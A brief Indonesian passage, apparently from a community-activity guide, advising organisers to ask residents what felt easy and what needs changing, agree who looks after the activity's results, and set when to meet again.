Tanyakan bagian yang terasa mudah dan bagian yang perlu diubah. Sepakati siapa yang merawat hasil kegiatan dan kapan warga ingin bertemu kembali.